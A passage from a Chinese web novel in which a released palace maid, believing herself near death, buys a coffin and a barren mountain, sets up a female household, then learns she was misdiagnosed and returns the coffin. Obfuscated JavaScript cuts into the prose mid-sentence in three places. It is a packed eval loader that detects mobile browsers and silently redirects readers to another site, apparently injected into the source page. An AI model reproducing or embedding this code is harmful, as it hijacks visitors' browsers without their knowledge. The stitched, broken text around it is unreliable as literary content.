口技表演者笑着作揖,又拿着一个浅口竹蔑箩开始挨个讨赏。黄迎春放了三文钱,人家也不嫌,含笑着躬身和她道谢。“京中有善口技者。”四目相对的一瞬间,这句为了语文考试反复背诵多遍的文言文忽然在黄迎春的脑海里灵光一现。二十一世纪和安朝,截然不同的两辈子在此刻突然有了交接。 黄迎春愣住了。 想活吗?当然想。可若是就这么去了,似乎也没什么不好的。 人流如织,黄迎春安静地站在人声鼎沸中,忽然这么想道。 无论如何,自从她带着现代的记忆在安朝呱呱落地起,她就比常人多了一辈子的经历,两辈子加起来也能说是活了五十几岁,该尝的都尝过了,也算没有白来人间一趟,如此,再不甘心,也没有多少遗憾了。 想明白了之后,黄迎春匆匆找到那位赶场去演下一场的善口技者,把袖子里揣着的铜板都倒给了他。 瓦市里依然热闹不已,一派繁荣,但这繁华的人间景,却与逆着人流独自在灯烛烟火大盛时回到客栈的黄迎春无关。 出宫的第五天,一大早,黄迎春退了客栈,背着包袱,走进一家凶肆。 4. 买山 黄迎春一进铺子,还没看清店内的陈设,一个伙计就迎上来,殷勤地报备姓名。 “娘子有礼。小的李青山,家中排行第三,您管我叫李三就成。不知您是想看些什么?” 凶肆的伙计是黄迎春这几天以来所见的唯一一家不会笑脸迎客的人。 黄迎春看了看盛放在铺子大堂中央的棺材,表示十分理解。 若是客人正因为家中逝去的亲人心情不佳,好不容易打起精神来凶肆采购治丧的物品,结果迎面的伙计一人一张笑脸,估摸生意还没做成,伙计和东家就得被客人打进医馆。 黄迎春边看边说:“家中有人大限将至,想看看丧事一般都是怎么操办的,先预备起来,省得心中不安。” 李三不着痕迹地打量了一下黄迎春的穿着,声音更亲近了一些:“您放心,我们张家凶肆在西市都是有名的,从小殓到下葬,包括下葬后的烧七、守孝等仪式所需要的物什,我们店里都有,保证童叟无欺。” 永安城里分东西二市,其中东市是达官显贵居住的地方,卖的东西也十分昂贵,西市是平民百姓所居,待售的物品也平价一些。 黄迎春没有可以遗留财产的家人,她也不知道自己能有多久好活,所以打算把大部分的钱都花在自己的后事上,省得人死了钱没花完,那简直对不起她这操劳的一生!但是她口气再大,也知道自己的那点体己在东市里根本翻不起多少水花,于是来到了物美价廉的西市。 果然,问了铺子里面陈列的几样明器,价钱都在黄迎春的可接受范围之内。 “您看看,是打算安排土葬、火葬还是水葬?”不同的葬礼规格也不同,李三细致地为黄迎春讲解其中的门道。 安朝水葬的人少,若不是对水有执念,没人会选水葬,毕竟,没有人想落得一个葬于鱼腹死无葬身之地的下场。大众往往选择的是土葬,落地归根才是正本。官方则鼓励火葬,一是自打朝廷迁都到永安,永安城附近的地价就水涨船高,变得十分昂贵,火葬相较于土葬更省地省钱。二来则是前些年一直在打仗,近年来主张休养生息,生存压力减小后,人口激增,寺庙也再度兴盛起来。寺里的住持都主张火葬可助死者早登极乐。但身体发肤受之父母的理念深入人心,虽然官方大力倡导火葬,选择火葬的人还是少数。只有那些买不起棺材的贫民才会选择火葬。 最后,如李三所料,黄迎春也随大流,选了土葬。 既然不愿意破坏肉身,自然要给死后的身体找一副好棺材。李三理所当然地带黄迎春到各种木料之间打转,什么都不懂的黄迎春在昏暗的铺子里听得头昏眼花,索性要求看成品。 铺子里的成品不多,李三大力推崇一副柏木做的棺材。 他先用手背不停地敲打:“柏木质地坚硬,耐腐,防虫蛀,保个几十年不是事儿。” 然后,又请黄迎春站近一点去闻:“而且,柏木自带淡雅的香气。” 最后,李三开始舌灿莲花:“柏树象征长寿和正气,柏树的‘柏’也与百年的‘百’同音,用柏木做棺材,既能寄托生者对死者灵魂安宁的祈祷,也能承载祖宗庇佑后代百年安稳的希望……” 李三洋洋洒洒说了一大堆,黄迎春只关注一件事:“价钱多少?” 二十贯的高价立刻让黄迎春望而却步:“还有没有其他的?” 柏木棺材通常是富户的选择,没有第一时间推销出去,李三也不气馁,好脾气地看着黄迎春去看价钱更低一些的杉木和松木。 只是,看过柏木棺材后,黄迎春对杉木和松木做的棺材总能挑出一点儿不满意来。 最后,她咬咬牙,还是订了柏木棺材。 不就是二十贯吗?钱这个时候不花,还有什么时候可花?买! 平民百姓治理丧事,棺材是最大的花费,其次便是立于坟前的墓碑。墓碑多是石碑,上面会刻记死者的姓名、籍贯、生卒年月,还有立碑人与死者的关系,若有重大成就的,也能让刻碑的添上几句。 黄迎春正和李三讨论墓碑的大小,铺子里又迎来一位客人,李三和黄迎春告罪:“是位熟客,眼看要到春祭时节了,估摸着是来买纸钱的,小的先过去招待一下,您慢慢看,可好?” 黄迎春十分通情达理地放了人,自己在一旁闲逛。然而铺子地方不大,另一位客人的嗓门又像唱戏的一般尖亮,她和李三的对话一句不漏地落进黄迎春的耳朵里。 待客人走了,黄迎春好奇地问李三:“我头一回治丧,也不懂这里面的门道。劳烦问一句,她刚才买的那些,仿佛是给小儿用的,可我怎么听着,她说的又是儿子和儿媳?” “孩子小,不到成家的时候,买些玩的,做个伴罢了。”李三以悲悯的口吻说,“她家小子那年冬天非要去河上玩,说了冰面不结实,不信,自己偷偷跑出去玩,结果掉进冰窟窿里没救回来。一家子哭得死去活来。第二年,邻家一个小娘子伤了风寒一直没治好,一日去了,偏偏用医已经花费了不少,没钱买棺材。两家人一合计,给配了个冥婚,这才渐渐走出来了,也就每每买祭品上坟的时候伤怀些。” 冥婚! 黄迎春如被当头一棒。 “娘子,那我们就依前头说的,订这个尺寸的墓碑。您把姓名、家住哪里留一下,咱们再约个时间,方便我们做好之后给您送过去。”李三走到柜台,拿起毛笔蘸墨,又在纸上写了两列字,然后抬头望着黄迎春,等着她开口。 黄迎春望着那张纸,纸上的空余部分好像一张血盆大口,只要沾上她一星半点的去处,就随时能把她吞了去。 万一黄家人找到坟头去了怎么办? 万一他们想再卖我一次怎么办? 不——不行! 黄迎春面目惊悚,唇色骤然变得苍白,她腿脚一软,差点直接一头栽倒在店里。 李三连忙去搀扶,又从后堂唤来掌柜的主持大局,然后到街上买了一盏有些甜味的熟水给黄迎春灌了下去。 “娘子,可是身上不适?不如移步去街头的医馆看看吧?”李三生怕黄迎春倒在店里讹上他。 掌柜的活的年头久些,经的事情也更多些,他看了看黄迎春的发型和服饰,又朝李三问了几句前情,心里立刻有了谱。 于是,待黄迎春缓过神来,她立刻发现她所担忧的事情有了眉目:“立女户?” “正是。”掌柜的摸着自己的山羊胡,神色安然,“前些年战争频发,死了不少人,流离失所的百姓多了,也不是人人都能回原户籍地安家,都是走到哪儿看哪儿合算就在哪里停下来。官家前几年就有诏令,允许各地依法立户。” 掌柜的指点黄迎春:“你不要买墓地,直接买座山头,把地契拿住喽,再使几个钱上衙门把籍贯迁到山里去落个女户,保你身后安稳。” 黄迎春对立户的事情一窍不通,但听掌柜的的意思,立了女户之后就等于和从前的那个家一刀两断了,她是自己家唯一的户主,再也没有人可以拿着血缘亲情来道德绑架她,黄家人也没有权利对她的生活指手画脚。毕竟,世道就是这样,重亲情,但更重律法。 黄迎春在脑子里琢磨立户这件事的可行性的时候,突然眼角余光一瞥,看见李三一脸充满难言之隐的模样。 黄迎春问李三:“可是有哪里不好?” 伙计是不能驳东家的脸面的,但立女户毕竟事关重大,李三还是挑拣着提醒了黄迎春几句。黄迎春一听,反而坚定了分家立户的想法。 她都是要死的人了,赋税和徭役同她又有什么干系?兴许还没等衙门把任务派发下来,她就已经躺在棺材里入土了呢。 黄迎春笑着付了钱,和李三约好三日后再来登记送货地点,然后转头进了一家牙行。 按凶肆掌柜的的指点,一进门,她就直奔一个叫宋大的庄户牙人,点名要他招待。 “娘子是想置办些什么呢?” “我想买地。” 不止农田,池塘、柴荡、墓地、山洞等都可以买卖,都称买地。宋大又问黄迎春买地的用途。 “我想立女户,听说要有恒产才有资格上衙门落契,所以想来买片山林。”黄迎春实话实说。紧接着,她又看了看左右,小声说道,“是张家凶肆的掌柜的介绍我来找你的,你看你现在方不方便?” 宋大一听,就明白了,但牙行里还有其他人,话不好直说,于是宋大就迂回着给黄迎春讲了个故事。 “话说某处有一块山林,面积多少不详,听说不太大,总而言之若是按墓地价格购买,不少于两百贯。但这片山林地方偏远,未曾被划作墓地。买主自己找风水大师看了,说是一块风水宝地,于是悄悄地以烧木炭为借口把山林买了。娘子您猜猜,拢共花了多少?” 黄迎春尽量往少了猜:“一百贯?” 宋大伸出两个手指,比了一个二。 黄迎春大吃一惊:“二十贯!” 宋大点点头:“那片山林是片荒的,草木全是天生地养的瞎长,没一棵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771635|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值钱的木料。若是把树都伐了,按镇上收柴的价钱算,不会超过两贯。买主以二十贯的价格成交,主人家还乐呵呵的呢。” 黄迎春一听,连连点头:“我就是这个意思,不知道能不能行个方便?” 上有政策,下有对策,买片山林用作墓地而已,这种事情自然是可以运作的。只是…… 宋大语气渐弱:“娘子,还是得和您说一声,刚才和您说的那种好事,那都是可遇不可求的。您也知道,咱永安城是国都,这边的地价都贵,就算是近郊,也都挤满了人。一时半会儿的,还真没有那么合适的。” 宋大说了一堆,黄迎春终于明白了。 合不合适,其实只是一个字的事——钱! 上辈子住不起故宫旁边的酒店,这辈子买不起天子脚下的墓地,两辈子,实打实的贫民。 我还是放弃吧。黄迎春心想。安朝的女子连香水行都进不了,想有个自己的家,想来只会难比登天。 黄迎春兴冲冲地进门,又被浇成落汤鸡,正要败兴离开时,宋大又叫住她:“其实,还有一个地方。地方大,树多,水长,景好,要价也不高。” “价钱多少?” “四十贯。您诚心想要的话,价钱咱们还可以谈。” 黄迎春掂量着自己花剩的身家,觉得这个价格还可以接受。 但是,等她听了这座山占地的亩数之后,她就没法淡定了。 “多少?三百亩!” 时下低洼肥沃的良田,一亩就要二三贯。山地不比田地,能种的粮食少,灌溉也不方便,价钱自然也不高。但是再怎么低,毕竟也隶属于永安城的远郊,黄迎春万万没想到这个地界的山林能这么便宜。 黄迎春不相信世界上有这样的好事,就算有,也不可能会掉在自己的头上。 果然,宋大红着脸,憋出一句:“那山是片荒的,十来年没人往那里去过。” 黄迎春不信:“单单因为这个?” 她直击重点:“山里打一天柴火扛来城里卖,一天也能赚一百文,都能够一家三口两天的嚼用了。我昨儿个还听卖柴的樵夫说冬天柴用得快,周围的柴都不好打了,得进山里去。这临安乡是处什么地方,难道人人都是富户?要不怎么放着满山的柴不去打,任由它岁岁年年地荒着呢?” “我和您说实话吧。”宋大一咬牙,将事实和盘托出,“这山,风水不好,十年前遭了地动,地龙翻身,住在附近的人家都遭了殃,所以大家伙才不乐意往那里去。渐渐的,山也就荒了,价钱也越落越低。” 宋大垂头丧气:“不过这十年来一点事儿也没有。您要是不忌讳,愿意买,这价钱,还能往下谈。” 这不是他第一回和客人这样说了,但每回,都会遭到客人的冷眼。遇上脾气不好的,破口大骂都是轻的,大打出手也是有的。 宋大也能理解,谁家下葬不找一处风水宝地,护着死者早登极乐,也庇佑着后代福寿双全。换了他,他也不会贪图这点便宜,把坟墓埋在这种地方。人人都知道好风水才卖的出好价钱,人人都想买风水宝地,人人都想卖风水宝地。但是地总共就那么多,偏偏他是牙行里唯一一个乡下来的,分到他手上的地永远是坏的比好的多。虽然知道机会渺茫,但是也得推荐。否则到了月底,根本领不到几个钱。 面色愁苦的宋大算算日子,又快到叹了口气。 这时,他听到黄迎春问:“买了这座山,衙门给落契立户吗?” 牙行经营各种事务,三教九流都有打交道,近年久的牙人,还有一个俗称——百事通。 宋大能从乡下钻营到城里,自然不是那等没有本事的软脚虾,他对衙门里面文书的门道都门清。发现这单有成事的苗头,立刻忙不迭地点头:“给!能立的。” 能立就行。 黄迎春是个没后代的将死之人,不管是地震还是风水,对她来说都没有什么忌讳,她很快做下买山的决定,但面上不显。 “这山煞气重啊,‘四’又通‘死’,不好听。”黄迎春摇摇头,不满意。 宋大连忙给了一个好听的价:“三十六贯。” 黄迎春神情迟疑:“那可是地龙翻身啊,谁知道什么时候会再来一场。” 宋大又退一步:“三十五贯!” “地是大,可也太偏了点。从这过去又要坐船又是搭车的,远啊!” 谈啊谈,最后,黄迎春以三十贯的价格全款买下一座坐地三百亩的荒山。 5. 误诊 若是寻常买卖,黄迎春和牙行订立白契即可。但买山是大事,属于土地产权变更,这类交易都需要向官府申报和备案,在白契上加盖官印,形成红契。 白契虽然大家也认,但若是有了纠纷,闹到公堂上,官府其实也可以不承认。红契就不一样了,又有官府统一印制的契尾,又用红彤彤的官印,再巧舌如簧的讼师,也质疑不了红契的效力。 但是,红契也不是那么好拿的。要想取得红契,必须得在衙门里有相熟的文书,再送上一笔“跑腿费”,这样才能早点排上队。这点倒不必担心,凡是能在永安城里开下去的牙行,各个都有自己的关系网。宋大反复强调,今天就能让黄迎春把红契拿到手。 宋大担心的是,取得红契之前还要向官府缴纳一笔契税,通常是交易价的百分之三,也就是说,黄迎春虽然已经花了三十贯,但在法律意义上,还不算是那座荒山真正的主人,必须得再花上九百文交了契税才可以。 坐在驴车上赶去衙门的路上,宋大小心翼翼地和黄迎春说起这件事,言语之间都是红契的重要性。 “没问题,应该的。”大头都出了,黄迎春也不在意这点小钱。她拿出一贯钱交给宋大,笑吟吟道,“大冷天的,辛苦您和我跑这一趟。多出来的这点钱,给您买点茶水暖暖身。不知道您有没有相熟的管户籍的朋友,办完事后,我想请您二位吃点心。” 一事不劳二主,既然有现成的问路石,黄迎春想在今天把立女户的事情也一块儿办了。 俗话说,有钱能使鬼推磨。宋大收了小费,果然将荒山过户和立女户这两件事都办得漂漂亮亮的。半个时辰后,黄迎春从衙门的侧门走出来,就从一个命如浮萍的大龄宫女变成了一位名下有一座三百亩山林的女户主。 宋大的好话就跟不要钱一样,不停地从他的嘴里蹦出来。 黄迎春将户帖和红契看了又看,心里也十分开心。 高兴的心情还没有延续多久,黄迎春又想起了自己的身体状况,顿时,整个人就像落了雨的花儿,变得无精打采。 好不容易抛出去一个烫手山芋,宋大十分高兴,也不着急赶回牙行,打算自己走路回去,还能省下雇驴车的钱。离开时他特意问了黄迎春一嘴,黄迎春还记着刚才宋大付车钱时肉痛的样子,摇摇头,找了个借口推脱了。 宋大咧着笑脸和黄迎春道别:“娘子以后若还想买地或是置房,尽管来找我!” 黄迎春点点头,把几张薄薄的纸细致地折叠整齐,妥帖地放入怀中,紧接着也离开了衙门。 现在干什么呢? 黄迎春背着包袱漫无目的地在大街上闲逛,走得累了,便找了一处茶水摊,要了盏杏仁茶,顺便停下来歇歇脚。 热热的一盏杏仁茶端上来,白如牛乳,香气浓郁。一口下去,浓稠润滑的口感和香甜突出的杏仁香气顿时冲散了满腹的哀愁,黄迎春脸上的表情都好看了一些。 主人见状,笑眯眯地给黄迎春又续了一杯:“好喝吧?专门收的甜杏仁,加了糯米和大米一起捶打做浆,再添一点去年秋天的桂花,两盏下去肚子就饱了,还能美容养颜呢!” 黄迎春吃到好吃的,也乐得捧场:“这么好呀!” 主人愈发骄傲,指着斜对面的医馆,说:“这可不是我胡诌,杏林医馆里的陈大夫告诉我的,甜杏仁性平味甘,多吃可以润肺止咳……” 黄迎春一边听主人絮叨,一边沿着她手指的方向望过去,看着医馆门口来来往往的人群,若有所思。 她静静地把杏仁茶喝完,给主人结了茶钱,然后,背上包袱,走进医馆。 “大夫,您看看我死期何时?” 黄迎春一直老老实实地排队等候,结果在排到自己时,一张嘴就惊住了给她看病的大夫。 “你先把手放上来,我给你切切脉。” 一番望闻问切后,大夫放开黄迎春的手腕,温声说道:“你身上毛病虽多,却还没造成大患,莫要再说什么时日无多的话了,你以后的日子还长着呢。” 安朝的建立仰赖于开国皇帝铁马兵戈,结果,江山是打下来了,皇帝和开国功臣们的身体也被连年的战争毁得差不多了,总不能有命挨打,没命享福吧?渐渐的,上流社会里开始流行各种养生之道。俗话说,上有所效,下必仿焉。如今,养生的意识已经深入人心。哪怕是再贫苦的百姓,也知晓几分药性,懂得把有用的草药摘回家,煮了药汤给自己和家人吃,或是保健,或者治病。 大夫猜测黄迎春必定也是这种情况。只是,执医一道,道阻且艰。能正经挂牌行医的,哪个不是刻苦学了多年的,怎么可能是嘴里嚼弄几句病理和养生之道的门外汉可以比得上的!虽然看重身体是件好事,但有不少人家出不起医药费,或是舍不得钱财来医馆看病,便仗着自己认识几株草药,天天在家里吃自己熬的药汤,吃了许久病不见好,反而把小病拖成大病。这样的病患,大夫见得多了,但更多的,是连医馆都不敢踏进来的人——自己生病自己看,自己吃药自己治,最后的结局无外乎是自生自灭。 大夫一边摇头一边劝诫怀疑自己生了重病的黄迎春:“莫要相信无稽之谈。你的病没有那么严重,不要自己吓自己。通常许多不好,都是被吓出来的。不要听别个瞎说,你的病能治,还不至于死。” “什么?误诊?我的病能治?” 旁边的人都很讶异,明明是一件好事,为什么这位看上去还算年轻的女娘一副听闻惊天噩耗的模样。 黄迎春难以置信:“可是……可是我几日前才看过诊,那位医师明明说我重病缠身,没有多少时日可活了啊。” 说到最后,黄迎春的语调甚至拖着颤音。 大夫一听被气得差点拍桌子:“这是哪个人说的?简直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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此时的空,和之前完全不同。当她以为自己命不久矣时,空落落的是她的心。她好不容易调节好自己的心情,接受了命运的安排,准备慷慨赴死,并且不断买买买就快要把钱花光的时候,老天爷又派人来告诉她不用死了。 黄迎春的整个大脑都空了。 这算什么? 人死了,钱没花完。 人没死,钱花完了。 这两者,不知哪一个才是人间惨事。 从前,黄迎春担心是前者,所以她拼命花,生怕多留一文钱在世上。 现在,黄迎春以为是后者。 五天而已,命运竟然给她开了这么多的玩笑。 黄迎春情不自禁地把手伸进怀中,摸了摸身上仅有的一点银钱,再想想刚刚大夫说好好治疗她起码可以再活二十年,然后,她发现自己的人生突然一片迷茫。 人没能立刻死,钱却要马上花完了。 她以后可怎么活啊?! 6. 退货 雪花飘飘扬扬,从屋顶落下。 新找的这家客栈客房的屋顶不大结实,落了几片瓦,掌柜的说今日天色已晚,明天一早就让人来修,再说他已经用稻草匆匆盖住了,不妨碍什么。 黄迎春刚从一家更下等便宜的客栈里跑出来,浑身的鸡毛味,掌柜的又主动省了几个钱,见状她也不好说什么。 只是,住进来后,黄迎春一宿没睡着。 掌柜的在房间里放了一个木盆,一整个晚上,雪化成水浸湿稻草,又从草尖往下滴的声音就没停过,听得黄迎春心慌不已。 她躺在床上,盖着不大暖和的芦花被,想想前几日花钱如流水的自己,深刻怀疑自己是被夺舍了,要不然也不能干出那么多脑子进水的事情来。 看杂耍就算了,还打赏。打赏就罢了,还赏了一次又一次,甚至追着人家给钱。 她是脑子有坑吗? 有多少身家可败啊! 进宫打工十五年,拢共她也就带出了一百贯的俸禄。又不是一千贯一万贯,她昨天到底怎么想的,还敢买二十贯的棺材和三十贯的荒山! 一滴,两滴,三滴……黄迎春听着雨水滴落的声音,仿佛看见了她这几天花钱的场景。那些时候,她的钱,就跟这些从屋顶上落下来的水一样,就是这么一文、两文,一点又一点地离开她的。 同样是积少成多,偏偏木盆里的水越来越多,而她身上的钱财却越来越少。 第一次发俸时她一个月只能拿到五百文,一点点地熬,终于熬到了不会再被上官克扣月俸还高达两贯的时候。 但是,这也不意味着就能把自己赚的钱全部收入囊中。 每月初一采买府虽然都会发份例,但都是一些胭脂水粉、澡豆牙粉之类的日用必需品。 平时若是缺个针头线脑,或是身上有了病痛,都要自己花钱去买去治。 差事上用的东西都是一早派发下来的,若是出了毛病或是损坏,也要自己额外花钱去添置。 而且,在皇宫中,也少不了人情往来。这个过生辰了,那个谋得好差事啦,都要请客送礼。 黄迎春一直铭记着“枪打出头鸟”的真正要义——不做格格不入的人。有些钱哪怕自己不想出,但是别人出了,而且自己还要在这个环境里继续生存,那这钱不出也得出。 花在别处的钱多了,能留在自己身上的钱就少了。 那些绞尽脑汁、拼命开源节流的日子还历历在目,黄迎春不知道自己是怎么在短短几天之内就把身家霍霍到三分之一的程度。 老话说的果然不假,最败家的方式就是穷人乍富。 黄迎春一会儿坐起来数钱,一会儿在被窝里翻身,心绪无论如何都无法平静下来。 她真是恨不得穿越回五天前拿着自己的脑袋去撞墙,兴许能提前把自己脑子里进的水给摇晃出来。 病,既然能治,还是要治的。 这是黄迎春思考了一个晚上的结果。 事关身家性命,这是顶顶要紧的事情。 二十贯虽然多,但黄迎春还能出得起,而且二十贯就能捡回一条命,其实还是一笔蛮划算的生意。 虽然这么想着,但黄迎春还是打算出门去找间更便宜的客栈。 “一天三十文的房钱还贵啊?您去外面找找,哪里有比我家更划算实惠的?”黄迎春退房时,掌柜的放了话。 有啊,怎么没有,我昨晚就找到一家。 黄迎春在心里默默反驳,却不敢开口。 不到万不得已,她是不打算去住那家客栈的,连床芦花被都没有,只能靠鸡毛取暖。一进门,就是一股能把人熏晕过去的臭味。无数片新旧不一的鸡毛絮在一起,变成了一床鸡毛被,还是悬空的,要睡时,人在床板上直挺挺地躺着,再一拉绳,鸡毛被就落到了身上。 虽然只是进店参观了那么两眼,但那股鸡毛味仿佛还是在鼻间挥之不去。黄迎春嫌恶地皱了皱鼻子,加快脚步,走出客栈。 天色还早,凶肆的门板都还没有卸下来。黄迎春在黑漆漆的门口待了许久,身上飘满了雪粒,最后实在受不了,跺了跺脚,又看了一眼凶肆的招牌,转身走向宋大所在的牙行。 牙行倒是开门了,但宋大万万没想到,昨天刚扔出去的烫手山芋,过了一夜竟然又回来了。 他一脸为难:“白契想毁约都难,娘子,您这红契都立了,更不能反悔了。” 黄迎春何尝不明白这个道理。只是,永安城里居大不易,她住在客栈里,什么都不干,每天光吃喝就是几十上百文的铜板流水般的花出去。这日子她每一分每一秒都过得十分心焦,偏偏她又没有什么谋生的手艺,一时半会的也找不到活干,所以哪怕明知机会渺茫,但还是想来牙行找宋大试一试。 “不能退钱的话,能不能帮我转卖出去?”黄迎春不欲让宋大为难,主动开口说,“我可以降价。” 宋大问了黄迎春的底价,得知她着急用钱,神情更为难了。 这座荒山,不知在他手上放了多久,好不容易才在昨天逮了个冤大头卖出去,果不其然,就算价钱一降再降,冤大头今天也发现自己上当过来毁约了。这世上有一个叫黄迎春的就够了,他上哪去找第二个冤大头呢! “这山煞气重啊,没有几个人看得上。” “那可是地龙翻身啊,谁知道什么时候会再来一场,买的人肯定会有顾虑。” “三百亩地是大,可也太偏了点。从这过去又要坐船又是搭车的,路上的船费和车钱都不知道要搭进去多少,带人过去相看一次都难,远啊!” …… 昨天砍价时说的话就像回旋镖一样,一次又一次地飞回来,重重地扎在了黄迎春的心头。 “算了。”黄迎春无奈地打消转卖荒山的主意,开始打听如今买卖租赁房屋的行情,结果被唬了一大跳——她手上剩的这点钱就算全砸进去,在租赁市场里也是一点儿水花都不带有的。 黄迎春看了眼她脚下踩着的地,头一次这么深刻地意识到自己如今正身处在天子脚下。 不能坐吃山空! 黄迎春转头就在牙行里寻了一个专门给主家介绍做工的牙人。 请牙人帮忙介绍工作也有一套必经的流程。 黄迎春必须先把户帖给牙人看一眼,证明自己的身份。然后,再告知牙人自己所会的本领、想找的活计以及对吃住薪资等方面的要求。和牙人协商一致后,最后,交给牙人一笔辛苦费,然后回家等待通知,若寻得工作,必须再付给牙人一笔介绍费,感谢她的辛苦奔波。 但是,黄迎春没想到,自己竟然连辛苦费都付不出去。 “你说你只会侍候花草,平头老百姓的,家里哪会有花园,只能往达官贵人的住处里找。偏偏你又不想和人家签长契,这贵人们哪里肯呢。在家里侍候的人,哪怕找的是花房里的一个小杂役,主人家都想要知根知底的长工。短工。没几家愿意的。你说万一你做了几个月就走,做不开心了就走,到时候怎么办?人家再寻人调教也是要花功夫的呀!” 牙人不愿意接黄迎春的单子,还反过来劝她:“这年月能找份工不容易,做得长的怕什么?只要工钱合适,大家都恨不得能在同一家做一辈子呢!” 黄迎春也知道这个道理,但她无论如何都无法说服自己再进一处地方待上五年十年。 那种日子太可怕了! 虽然在民间做工的风险没有皇宫中那么大,但若是遇上一家脾性不好的,签了契约在先,也不可能说走就走。再说,她现在身上也没有多余的钱可以拿来交付毁契的赔偿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771637|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄迎春思前想后,最后还是婉拒了牙人,出门找了一家看起来生意很好的点心铺子,要了两份打包好的点心,再度往凶肆的方向走去。 张家凶肆已经开门了,门口照旧没有人站在那儿迎客。 黄迎春深吸一口气,然后扬起一张笑脸,进门。 李三正在收检铺子的库存,他拿着一根拂尘,细细地扫去架子上的灰尘,见到黄迎春来,连忙绕去柜台:“娘子来登记送货地?” “不……不是。”黄迎春脸上的笑好险没落下来,她急忙提起手上的点心,又四处张望,“掌柜的不在吗?” 黄迎春带来两份点心,李三从油纸上的印戳一眼认出那是从西街上有名的点心行里买来的,又听到黄迎春说其中一份是送给自己的,再看了看黄迎春带着忐忑与讨好的笑,心中油然而生一股不安,而且越来越强烈。 “您……不是来登记的吧?” 掌柜的从后堂出来了,黄迎春当着两人的面,羞愧地说:“对不住,我今儿是来退货的。” 货还没送怎么就要退呢?李三问:“您是不是对我们铺子里的货品有哪里不满意?” “不,不……不。”黄迎春连忙摆手,“没什么不好,我很满意。只是,我现在一时用不上。” “嗐!”李三放心了,“这不是什么大事,我们店里可以寄放。您什么时候要用了,拿着签单过来取就是了。我们不收您的经管钱。” “还是算了吧。”黄迎春不好意思地说,“需要你们帮忙经管的年月,可能有点长。” “有多长?” “大概……二十年。”黄迎春也不敢说死了,又添上一句,“可能也不止。” 掌柜的是个有眼力见的人,要不然他也不可能一见面一打眼就认出黄迎春的身份,还给她出了立女户的法子。他听了这几句话,已经明白了。李三还想再劝,掌柜的却喊住他:“莫要再说。” 俗话说伸手不打笑脸人,俗话又说礼多人不怪。黄迎春虽然没长那根活络的脑筋,但是基本的人情世故还是懂的。不管事情能不能办成,一开始绝不能小气,起码要让对方看到自己的诚意。所以,她去买点心时,特意让伙计给她包了时兴的糕点,数量也是好听的十种。以防串味,伙计将每种糕点都用油纸包了,最后再用红色的丝线把油纸包串在一起,提起来一长串鼓鼓囊囊的,既好看又喜人。 掌柜的接过黄迎春手中的糕点,说:“这礼,我做主收下了。只是,这货,不能全退。你之前要的那个墓碑,石头是现有的,已经开始动工了。你来得不巧,这时候,估摸着已经刻上字了。” 掌柜的分出一些糕点,推向李三,对他说:“其他的,能退就给退了吧。” 掌柜的说话大喘气,黄迎春的心跟着一上一下的,好悬没被吓死。所幸峰回路转,她连忙鞠躬致谢,然后又小心翼翼地问给她找签单的李三:“我那二十贯的柏木棺材,能退吗?” “能。”凶肆不比牙行,宋大是靠交易额吃饭的,李三则不同,他每个月的工钱都是有定数的,凶肆里的货物卖多卖少对他来说没什么要紧。 李三态度颇好地给黄迎春消了账。凶肆做的是往生的生意,不允许拖欠,而且张家凶肆的招牌在西市里也是响当当的,不存在卷款跑路的担忧,所以来采买的每位客人在下单时就会把钱财全部付清,黄迎春也不例外。 轻飘飘的一张纸,承载的却是三十贯的重量。黄迎春看着那张钱票,差点哭出声来。 有了这笔钱,她就能安心在永安城里待着,直到把病治好。 太好了! 黄迎春深深地躬身致谢:“谢谢,谢谢。” 掌柜的停下拨弄算盘珠子的手,把黄迎春送出门:“去吧,好好活,好不容易出来了,过点好日子。” 7. 治病 与到了年纪即可被放出宫的宫女不同,太监没有这种机会。 他们出宫的可能性极其渺茫,大太监还可能得到贵人青眼被赐旨出宫荣养,小太监们只能等到干不动了,或是获罪被贬出宫,在宫外落得一个流离失所自生自灭的下场。 太监无法成家,自然也没有后人供养,所以他们在宫中都卯足了劲地往上爬,大肆搜刮钱财,只为了有朝一日出宫时日子能过得好一点儿。 因此,皇宫里最不缺的,就是兑金打银的生意。 没办法,一贯钱等于一千文,一千文就是一千个铜板,谁也不可能天天带着一堆铜板在人前晃荡,给别人听响儿。 遭人眼红,是不测之祸的前兆。 黄迎春从来不肯犯这种忌讳。 每逢发了俸禄,她都精打细算,先留下一部分日常花费;再在身上放一笔钱,用来应付可能出现的各种意外支出;其余的,通通都换成金银,装进一只小小的荷包里,再把荷包塞在胸口,贴着胸怀日日夜夜地放着。 这些体己,在她出宫的这几天,都陆陆续续被她拿到钱庄兑成了铜板和钱票,大概有一百贯之数。多出的那些个铜板,黄迎春吃了碗羊肉面就花完了,便没有放在心上。 买山花了三十贯,交契税、立女户、牙行的中介费、宋大的辛苦费、住宿吃饭看杂耍买点心……这些零零总总加起来又花去了大概十贯钱。 唯一让黄迎春感到欣慰的是,价值二十贯的柏木棺材退货退款了。 